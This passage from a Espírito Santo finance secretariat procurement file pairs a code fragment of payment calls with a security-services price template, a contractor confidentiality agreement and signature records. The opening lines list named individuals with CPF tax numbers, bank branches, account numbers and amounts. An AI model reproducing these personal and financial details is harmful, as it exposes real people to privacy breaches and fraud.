309 pf("ADRIANA DO SOCORRO DA SILVA","81047800268","341","6389","506558",6000000)
310 pf("VENILTON DAS GRACAS","71006589260","104","3768","5709769777",3000000)
311 pf("VICTOR GABRIEL","05095890224","104","3768","5710085169",3000000)
312 pf("CAMILA LEITE DA COSTA","09634918654","104","1640","7674775519",12000000)
313 pf("NILTON RAYAN G D OLIVEIRA","15154952642","104","3730","5733616330",25000000)
314 pf("EMERSON MENDES DA GUARDA","35771125814","208","0020","12579652",5000000)
315 pf("ANA PAULA DA SILVA MAXIMIANO","09700789608","104","3814","8581744450",6000000)
316 pf("LAURA VIEIRA CARLINI MACHADO","15028527725","104","0217","5708748750",35000000
)
317 pf("VICTOR HUGO CAMPISTA CARDOSO","19828990776","104","0217","5708007679",35000000
)
318 pf("LUIS GABRIEL MELO DA ROCHA","14971963456","104","3772","5720734364",25000000)
319 pf("KAROLLAINY SILVA CUNHA","10488670489","104","3772","5723210494",25000000)
320
```



GOVERNO DO ESTADO DO ESPÍRITO SANTO
SECRETARIA DE ESTADO DA FAZENDA



SECRETARIA DE ESTADO DA FAZENDA
Gerência de Tecnologia da Informação

ANEXO III – MODELO DE PROPOSTA

Item	Descrição	Qtd	Un. Medida	Valor unitário	Valor total
1	Solução XDR + ITDR	-----	-----	-----	
1.1	Licenciamento Solução XDR + ITDR	1400	EndPoints		
1.2	Ativação da Solução XDR + ITDR	1	Serviço		
1.3	Operação da Solução XDR + ITDR	6	Mês		
2	Solução de Microsegmentação	-----	-----	-----	
2.1	Licenciamento Solução de Microsegmentação	1400	EndPoints		
2.2	Ativação da Solução de Microsegmentação	1	Serviço		
2.3	Operação da Solução de Microsegmentação	6	Mês		
3	Solução de DRPS	-----	-----	-----	
3.1	Licenciamento Solução de DRPS	1	Licença		
3.2	Ativação da Solução de DRPS	1	Serviço		
4	Operação F5	-----	-----	-----	
4.1	Assessment da Solução F5	1	Serviço		
4.2	Operação da Operação F5	6	Mês		
5	Serviços de MDR	6	Mês		

VALIDADE DA PROPOSTA

O prazo de validade da proposta deverá ser de 90 (noventa dias).

....., de de 2026

Atenciosamente.

Nome e assinatura do representante legal

CPF nº



**GOVERNO DO ESTADO DO ESPÍRITO SANTO
SECRETARIA DE ESTADO DA FAZENDA**



SECRETARIA DE ESTADO DA FAZENDA

Gerência de Tecnologia da Informação

ANEXO IV - TERMO DE CONFIDENCIALIDADE

Em face do contrato n.º XXXXXXXXX, firmado entre a empresa [Razão Social da Empresa], inscrita no CNPJ/MF sob o No [XX.XXX.XXX/XXXX-XX], estabelecida na [endereço da Empresa], doravante denominada CONTRATADA, e à Secretaria de Estado da Fazenda do Espírito Santo, com sede à Avenida João Batista Parra, nº 600, Ed. Aureliano Hoffman, Enseada do Suá, Vitória-ES, CEP: 29050-375, doravante denominada SEFAZ-ES para realização dos serviços constantes do Termo de Referência [Identificação do Termo de Referência], e

CONSIDERANDO que a CONTRATADA executa atividades através de seu corpo funcional, empregados ou prestadores de serviços, que a cada um se denomina doravante de RESPONSÁVEL;

CONSIDERANDO que a CONTRATADA e o RESPONSÁVEL terão acesso às informações da SEFAZ-ES, protegidas por confidencialidade e sigilo fiscal;

CONSIDERANDO a necessidade de disciplinar as responsabilidades pelo acesso e uso destas informações da CONTRATADA e do RESPONSÁVEL, bem como definir as regras relativas ao uso e proteção de informações da SEFAZ-ES;

DECLARA a CONTRATADA ser responsável pelas obrigações do presente Termo de Confidencialidade, e solidariamente o RESPONSÁVEL, mediante as seguintes cláusulas e condições:

1. **PRIMEIRA** – A CONTRATADA e o RESPONSÁVEL reconhecem que, em razão da sua prestação de serviços à SEFAZ-ES, têm acesso às informações desse órgão público, que devem ser acessadas e utilizadas estritamente dentro das instalações físicas da SEFAZ-ES. É proibida a divulgação dessas informações a terceiros não autorizados por qualquer meio físico ou eletrônico, inclusive aos servidores e colaboradores da SEFAZ-ES não envolvidos no CONTRATO. A eventual e legítima entrega de informações a terceiros deve ser previamente autorizada, de forma expressa e escrita, pelo Gestor do Contrato da SEFAZ-ES.

1.1.A CONTRATADA e o RESPONSÁVEL deverão manter sigilo sobre quaisquer dados, informações, códigos-fonte, artefatos, contidos em quaisquer documentos e em quaisquer mídias, de que venha a ter conhecimento durante a execução do CONTRATO, não podendo, sob qualquer pretexto, divulgar, reproduzir ou utilizar, sob pena de lei, independentemente da classificação de sigilo conferida pela SEFAZ-ES a tais documentos.

1.2.A CONTRATADA e o RESPONSÁVEL não poderão divulgar quaisquer informações a que tenham acesso em virtude dos trabalhos a serem executados ou de que tenham tomado conhecimento em decorrência da execução do objeto do CONTRATO, sem autorização, por escrito, da SEFAZ-ES, sob pena de aplicação das sanções cabíveis, além do pagamento de indenização por perdas e danos.



**GOVERNO DO ESTADO DO ESPÍRITO SANTO
SECRETARIA DE ESTADO DA FAZENDA**



SECRETARIA DE ESTADO DA FAZENDA

Gerência de Tecnologia da Informação

2. **SEGUNDA** – Para os fins deste instrumento, as informações e os documentos não divulgados ao público são considerados confidenciais, sendo classificados como não passíveis de reprodução e de uso ou acesso restrito.
3. **TERCEIRA** – A CONTRATADA e o RESPONSÁVEL comprometem-se a:
 - 3.1. Manter, em relação a terceiros, sigilo sobre todas as informações a que tenham acesso, especialmente aquelas protegidas pelo sigilo Fiscal, conforme o disposto no CTN, Lei No 5.172/1966, art. 198 e alterações posteriores;
 - 3.2. Utilizar as informações relacionadas à SEFAZ-ES estritamente para execução dos serviços constantes do CONTRATO;
 - 3.3. Não divulgar a terceiros, revelar, reproduzir ou, ainda, de qualquer modo dispor das referidas informações para proveito pessoal. Não se consideram terceiros, porém, as pessoas físicas e/ou jurídicas autorizadas a executar os serviços constantes do CONTRATO;
 - 3.4. Responsabilizar-se por danos materiais e/ou morais que tenha causado por violação ao compromisso de confidencialidade ora firmado;
 - 3.5. Notificar imediatamente o Gestor do Contrato da SEFAZ-ES obrigação de revelar qualquer informação confidencial por determinação legal de autoridades competentes.
4. **QUARTA** – Em caso de dúvida acerca da confidencialidade de determinada informação, o RESPONSÁVEL deverá tratar a mesma sob sigilo até que venha a ser autorizado formalmente a tratá-la de forma diferente. Em hipótese alguma se interpretará o silêncio da SEFAZ-ES como liberação de qualquer dos compromissos ora assumidos.
5. **QUINTA** – Ao término do presente CONTRATO, a CONTRATADA, deverá entregar à SEFAZ-ES todo e qualquer material de propriedade desta, inclusive notas pessoais envolvendo matéria sigilosa relacionada com a SEFAZ-ES, registro de documentos de qualquer natureza que tenham sido usados, criados ou estado sob seu controle. O RESPONSÁVEL também assume o compromisso de não utilizar qualquer informação adquirida quando de sua prestação de serviços, e devolver qualquer informação à SEFAZ-ES quando de seu desligamento do CONTRATO e/ou da CONTRATADA.
6. **SEXTA** – A CONTRATADA e o RESPONSÁVEL obrigam-se a informar, imediatamente, acerca de qualquer violação das regras de sigilo por parte dele ou de quaisquer outras pessoas, inclusive nos casos de violação não intencional ou culposa, bem como a descoberta de fragilidades de sistemas ou processos que possam propiciar a quebra da confidencialidade, disponibilidade ou integridade das informações.
7. **SÉTIMA** – O não cumprimento de quaisquer das cláusulas deste Termo de Confidencialidade, devidamente comprovado, possibilita a imediata rescisão do presente CONTRATO. Neste caso, a CONTRATADA estará sujeita, por ação ou omissão, ao pagamento ou recomposição de todas as perdas e danos sofridos pela SEFAZ-ES, inclusive as de ordem moral, bem como as de responsabilidades



GOVERNO DO ESTADO DO ESPÍRITO SANTO
SECRETARIA DE ESTADO DA FAZENDA



SECRETARIA DE ESTADO DA FAZENDA

Gerência de Tecnologia da Informação

administrativas, civil e penal respectivas, as quais serão apuradas em regular processo judicial ou administrativo.

8. **OITAVA** – As obrigações a que alude este instrumento perdurarão inclusive após a cessação de vínculo entre a CONTRATADA e a SEFAZ-ES, e abrangem, além das informações que o RESPONSÁVEL venha a tomar conhecimento, aquelas que já possui na presente data.
9. **NONA** – A CONTRATADA tomará as providências cabíveis para que o RESPONSÁVEL dê ciência expressa de Termo de Confidencialidade, com as seguintes disposições mínimas:
 - 9.1. Ter ciência do presente Termo de Confidencialidade, comprometendo-se a cumpri-lo fielmente;
 - 9.2. Não divulgar para pessoas não autorizadas qualquer assunto tratado nas dependências da SEFAZ-ES ou a serviço desta, salvo se expressamente autorizado;
 - 9.3. Declarar estar ciente de que a estrutura computacional disponibilizada pela SEFAZ-ES não poderá ser utilizada para fins particulares, e que a navegação em sítios da Internet e as correspondências em meio eletrônico utilizando o endereço da SEFAZ-ES, ou acessadas a partir dos seus equipamentos, poderão ser auditadas;
 - 9.4. Cumprir as normas de segurança estatutárias, ou que venham a ser implantadas, a qualquer tempo, na SEFAZ-ES.
 - 9.5. Os Termos de Confidencialidade devem ser assinados por todos os profissionais da CONTRATADA alocados para prestação dos serviços na SEFAZ-ES, e ficarão em poder da CONTRATANTE.
10. **DÉCIMA** – A fim de dirimir qualquer controvérsia oriunda do presente Termo de Confidencialidade, a CONTRATADA submete-se às leis da República Federativa do Brasil e elege o foro de Vitória, com renúncia de qualquer outro, por mais privilegiado que seja.

Local e data

Nome legível e Assinatura do Representante Legal da Empresa

Testemunhas:

_____ RG : _____

_____ RG : _____



**GOVERNO DO ESTADO DO ESPÍRITO SANTO
SECRETARIA DE ESTADO DA FAZENDA**

Documento original assinado eletronicamente, conforme MP 2200-2/2001, art. 10, § 2º, por:

GUSTAVO BRAGA SCHWAMBACH
SUBGERENTE QCE-05
SUGET - SEFAZ - GOVES
assinado em 10/04/2026 10:20:41 -03:00

LUIZ CARLOS LESSA
GERENTE QCE-03
GETEC - SEFAZ - GOVES
assinado em 10/04/2026 10:19:39 -03:00

FABIO FELTMANN SAMPAIO
SUBGERENTE QCE-05
SUIINT - SEFAZ - GOVES
assinado em 10/04/2026 10:24:10 -03:00



INFORMAÇÕES DO DOCUMENTO

Documento capturado em 10/04/2026 10:24:10 (HORÁRIO DE BRASÍLIA - UTC-3)
por GUSTAVO BRAGA SCHWAMBACH (SUBGERENTE QCE-05 - SUGET - SEFAZ - GOVES)
Valor Legal: ORIGINAL | Natureza: DOCUMENTO NATO-DIGITAL

A disponibilidade do documento pode ser conferida pelo link: <https://e-docs.es.gov.br/d/2026-7RBBW0>

Documento original assinado eletronicamente, conforme MP 2200-2/2001, art. 10, § 2º, por:

ALEX FAVALESSA DOS SANTOS
SUBSECRETARIO ESTADO
SUBSAD - SEFAZ - GOVES
assinado em 10/04/2026 19:44:55 -03:00

VITOR TEIXEIRA COSTA
CIDADÃO
assinado em 10/04/2026 19:38:31 -03:00



INFORMAÇÕES DO DOCUMENTO

Documento capturado em 10/04/2026 19:44:55 (HORÁRIO DE BRASÍLIA - UTC-3)
por DEYVISON DARISON FHELBERG VIEIRA (TERCEIRIZADO - SUGEC - SEFAZ - GOVES)
Valor Legal: ORIGINAL | Natureza: DOCUMENTO NATO-DIGITAL

A disponibilidade do documento pode ser conferida pelo link: <https://e-docs.es.gov.br/d/2026-3QQK74>